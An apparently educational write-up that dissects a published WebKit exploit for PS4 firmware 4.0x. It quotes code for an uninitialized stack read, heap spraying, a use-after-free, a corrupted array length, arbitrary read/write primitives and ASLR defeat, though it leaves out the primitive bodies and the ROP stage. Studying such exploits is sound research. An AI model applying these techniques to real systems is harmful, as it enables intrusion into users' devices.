Permalink
Switch branches/tags
Nothing to show
Find file Copy path
feb5fdf Apr 5, 2017
337 lines (255 sloc) 13.3 KB

Breaking down qwertyoruiopz's 4.0x userland exploit

Edit: qwertyoruiopz tweeted at me helping me understand the bug better and I've corrected it.

Not too long ago qwertyoruiopz released a functional (and surprisingly stable) exploit for 4.0x firmwares. No - it's not the same as the Pegasus exploit which could have been used in ChaitinTech's jailbreak chain, but it uses some similar concepts. Unfortunately, the exploit is patched on 4.50 <= because after 4.07, Sony upgraded to a much newer WebKit version, which patched many potential (and possibly private) exploits, including this one.

Immediately after it was released I started studying the exploit and tried to figure out how it worked at all stages, including post-exploitation. Below I'll share what I found about how it works. I don't expect to be 100% right because I'm still pretty noob to exploitation and I know very little about the internals of webkit, but I'll give it my best shot. If you'd like to follow along/see where I got this process, you can find my exploit edit on GitHub where I heavily commented as I went through the exploit breaking it down. I'm going to skip past some things such as the int64 object and stuff as that's not relevant to the actual exploit, but is used by it for doing address operations.


Firstly, the exploit ensures the system is vulnerable before attempting to continue with exploitation. It quickly tests the bug before proceeding to ensure it works, the core of the bug lies in the peek_stack() function. This function is interesting, let's take a look at it below - we're not going to look at poke_stack() so treat it as a black box. Just know it puts a value on the stack. I've stripped some comments for the article but they can still be found in the actual file on the repo.

function peek_stack()
{
  var mem;
  var retno;
  var oldRetno;

  /* Set arguments.length to return 0xFFFF on first call, and 1 on subsequent calls */
  retno = 0xFFFF;

  arguments.length =
  {
    valueOf: function()
    {
      oldRetno = retno;
      retno = 1;
      return oldRetno;
    }
  }

  var args = arguments;

  (function() {
    (function() {
      (function() {
        mem = arguments[0xFF00];
      }).apply(undefined, args);
    }).apply(undefined, stackFrame);
  }).apply(undefined, stackFrame);

  stackPeek = mem;

  return mem;
}

What's going on here? Well, what this function essentially attempts to accomplish is an uninitialized read on the stack. Firstly, it sets what the size of the array should be, 0xFFFF, as the value for the variable retno. Then, arguments.length's value is set by a function defined inside of the valueOf property. Your first thought (like mine) may be why this even is a function, all it's doing is saving the old value of retno, setting the retno variable to one, and returning the old value - why not just make it return oldRetno or 0xFFFF? This is the genius of the bug.

var retno = 0xffff;
arguments.length = { valueOf:
    function() {
        var _retno = retno;
        retno = 1;
        return _retno;
    }
};

What this function inside the valueOf property accomplishes is on the first time it's called, it will return 0xFFFF. However, on subsequent calls, because the variable retno was set to 1, arguments.length will always be set to 1 after the first call. This leads to the first index of the array arguments to be initialized, but all elements after that to be uninitialized. Let's look at what function.prototype.apply() does.

From the mozilla developer page - "apply is very similar to call(), except for the type of arguments it supports. You use an arguments array instead of a list of arguments (parameters)".

var args = arguments;

(function() {
  (function() {
    (function() {
      mem = arguments[0xFF00];
    }).apply(undefined, args);
  }).apply(undefined, stackFrame);
}).apply(undefined, stackFrame);

stackPeek = mem;

When the line mem = arguments[0xFF00] is evaluated, 0xFF00 is actually still inbounds, originally I thought it was out of bounds until qwerty corrected me. What happens is, because of the length function earlier combined with function.prototype.apply, 0xFF00 is not initialized memory.

The exploit knows if this bug is present by seeing if it can get away with accessing uninitialized memory. If it can't, peek_stack() should return undefined or null. If it can, it will return the index from the for() loop earlier at 0xFF00.

poke_stack(0);

if (peek_stack() == undefined) {
  throw "System is not vulnerable!";
}

It then uses the value it gets at 0xFF00 and sets it as the value of frameIndex. It then pokes 0x4141 or "AA" on the stack frame and tries to align it by calling an empty function 8 times, and checks if the stack frame was aligned by checking if it's peek value is 0x4141, if it isn't the exploit throws an exception and bails out.

poke_stack(0);

peek_stack();
frameIndex = stackPeek;

/* Align the stack frame */
poke_stack(0x4141);

for (var align = 0; align < 8; align++)
  (function(){})();

/* Test if we aligned our stack frame properly, if not throw exception and catch */
peek_stack();

if (stackPeek != 0x4141)
{
  throw "Couldn't align stack frame to stack!";
}

The next step for the exploit is setting up a series of heap sprays. The purpose of these sprays is to overwrite the length field of our soon to be free'd object's butterfly (for more on butterfly's, check out the phrack article "Attacking Javascript Engines"). The very basics of it is each object has a header called a "butterfly" that contains properties about the object, one important one being the object's length, which we want to overwrite.

/* Setup spray to overwrite the length header in UAF'd object's butterfly */
var butterflySpray = new Array(0x1000);

for (var i = 0; i < 0x1000; i++)
{
  butterflySpray[i] = [];

  for (var k = 0; k < 0x40; k++)
  {
    butterflySpray[i][k] = 0x42424242;
  }

  butterflySpray[i].unshift(butterflySpray[i].shift());
}

/* Spray marked space */
var sprayOne = new Array(0x100);

for (var i = 0; i < 0x100; i++)
{
  sprayOne[i] = [1];

  if (!(i & 3))
  {
    for (var k = 0; k < 0x8; k++)
    {
      sprayOne[i][k] = 0x43434343;
    }
  }

  sprayOne[i].unshift(sprayOne[i].shift());
}

var sprayTwo = new Array(0x400);

for (var i = 0; i < 0x400; i++)
{
  sprayTwo[i] = [2];

  if (!(i & 3))
  {
    for (var k = 0; k < 0x80; k++)
    {
      sprayTwo[i][k] = 0x43434343;
    }
  }

  sprayTwo[i].unshift(sprayTwo[i].shift());
}

/* Setup target object for UAF, spray */
var uafTarget = [];

for (var i = 0; i < 0x80; i++) {
  uafTarget[i] = 0x42420000;
}

References to the target object and two marked heap sprays are nulled out, then garbage collection is forced by applying memory pressure. What will happen is the normal reference we hold will be removed properly upon garbage collection, however before nulling out the references, a reference to the target object is poked on our stack in uninitialized memory.

/* Store target on the stack to maintain a reference after forced garbage collection */
poke_stack(uafTarget);

/* Remove references so they're free'd when garbage collection occurs */
uafTarget = 0;
sprayOne = 0;
sprayTwo = 0;

/* Force garbage collection */
for (var k = 0; k < 4; k++)
      doGarbageCollection();

The target object will now be free'd, but we still maintain a reference to it from our stack frame, so all we need to do to retrieve it is set 'uafTarget' back to the reference we stored on the stack.

/* Re-collect our maintained reference from the stack */
peek_stack();
uafTarget = stackPeek;

Wonderful, we now have successfully crafted a use-after-free. But how do we get a read/write primitive just from a use-after-free? We don't - we have to use the use-after-free to trigger another bug, this exploit specifically creates a heap-based buffer overflow. Remember that heap spray earlier that we said was specifically to try and overwrite the 'length' field of the target object's butterfly? It's time to use that.

for (var i = 0; i < 0x1000; i++)
{
  for (var k = 0x0; k < 0x80; k++)
  {
    butterflySpray[i][k] = 0x7FFFFFFF;

    if (uafTarget.length == 0x7FFFFFFF)
    {
      ...
    }
    ...
  }
  ...
}

The exploit loops through the butterflySpray buffer we created earlier, and sets every value to 0x7FFFFFFF, which is the maximum 32-bit positive value for a signed integer. It then continually checks the length parameter of our UaF'd object in each loop iteration against 0x7FFFFFFF. When this check passes, the exploit has found the modified object and continues exploitation. This seems to be the exploit's main weakpoint, as often when the exploit doesn't work it's because it couldn't find the modified object and therefore fails the check and just returns out.

The next stage of the exploit is to get a read/write primitive, it does this by spraying a bunch of uint32array's on the heap, and tries changing each qword to 0x1337, and tries to find the uint32array that has the modified value of 0x1337. Once it finds it, it stores it to leak the butterfly later, so we can leak jsvalues. Leaking jsvalues is important for defeating ASLR and some other things that happen post-exploitation.

/* Spray to obtain a read/write primitive */
var primitiveSpray = new Array(0x20000);
var potentialPrim = new ArrayBuffer(0x1000);

for (var i = 0; i < 0x20000; i++)
{
 primitiveSpray[i] = i;
}

var overlap = new Array(0x80);

/* Setup potential uint32array slaves for our read/write primitive */
for (var i = 0; i < 0x20000; i++)
{
 primitiveSpray[i] = new Uint32Array(potentialPrim);
}

/* Find a slave uint32array from earlier spray */
var currentQword  = 0x10000;
var found         = false;
var smashedButterfly  = new int64(0,0);
var origData          = new int64(0, 0);
var locateHelper      = new int64(0, 0);

To establish a read/write primitive, the exploit then needs a pair of uint32array slaves for reading and writing, and it does this by checking each object's length in the primitiveSpray that was sprayed earlier, and checks it against 0x40.

primitive[14] = 0x40;

for (var k = 0; k < 0x20000; k++)
{
  if (primitiveSpray[k].length == 0x40)
  {
    slave = primitiveSpray[k];
    break;
  }
}

if(!slave)
  throw "Could not find slave for write primitive!";

Finally, the exploit sets up the primitive addresses and derives the primitive functions, giving us a read/write primitive to any address in memory available to us, this is later used to establish the basic foundation for running ROP chains to call system calls and such.

/* Purpose: Leak object addresses for ASLR defeat */
var leakval = function(obj)
{
  ...
}

/* Purpose: Create a value (used for checking the primitive) */
var createval = function(val)
{
  ...
}

/* Purpose: Read 32-bits (or 4 bytes) from address */
var read32 = function(addr)
{
  ...
}

/* Purpose: Read 64-bits (or 8 bytes) from address */
var read64 = function(addr)
{
  ...
}

/* Purpose: Write 32-bits (or 4 bytes) to address */
var write32 = function(addr, val)
{
  ...
}

/* Purpose: Write 64-bits (or 8 bytes) to address */
var write64 = function(addr, val)
{
  ...
}

The final part of the exploit is to ensure the primitives are stable and calculate base addresses for using gadgets in the rop chain. It first figures out where it is in memory by defeating ASLR in userland, which is does by leaking the address of parseFloat(). By leaking parseFloat()'s address, the exploit can now calculate the slide from parseFloat() to the code base address of WebKit. Now that webkit's base address is leaked, libkernel's base address can be leaked as well.

The WebKit module actually contains an export from libkernel, specifically "__stack_chk_fail". This stub is called whenever a stack canary check fails, so that the process exits rather than returning to a potentially corrupted return address from stack smashing. By calculating where this pointer points to, and knowing the slide of the function from libkernel's base, we can now find the base address of libkernel too to do more interesting stuff like access to more gadgets, and calling syscall wrappers from libkernel.

/* Used to leak parseFloat() for deriving webkit's base address and calling */
p.leakFunction = function(smashFunction) {
  var smashObj  = p.leakval(smashFunction);
  var smashBase = p.read8(smashObj.add32(0x18));
  return smashBase.add32(0x20);
}

var funcPointer = p.read8(p.leakFunction(parseFloat));

/* Calculate slide */
var webkitBase = funcPointer.add32(0); // copy
webkitBase.low &= ~0xFFF;
webkitBase.sub32inplace(0x55000);

moduleBaseAddresses['libSceWebKit2']  = webkitBase;

...

var libkernel = p.read8(window.basicImports['__stack_chk_fail']);
libkernel.low &= ~0xFFF;
libkernel.sub32inplace(0xd000);
moduleBaseAddresses['libkernel']  = libkernel;

I'm not going to talk more about post-exploitation such as the setup of the ROP chain as it would make the article insanely long(er), and this article was mainly focused on the exploit itself, not what happens post-exploitation. I hope this article helped others like me who are eager to learn and understand modern exploits, and are curious about how this webkit exploit manages to gain code execution by maintaining a stale reference.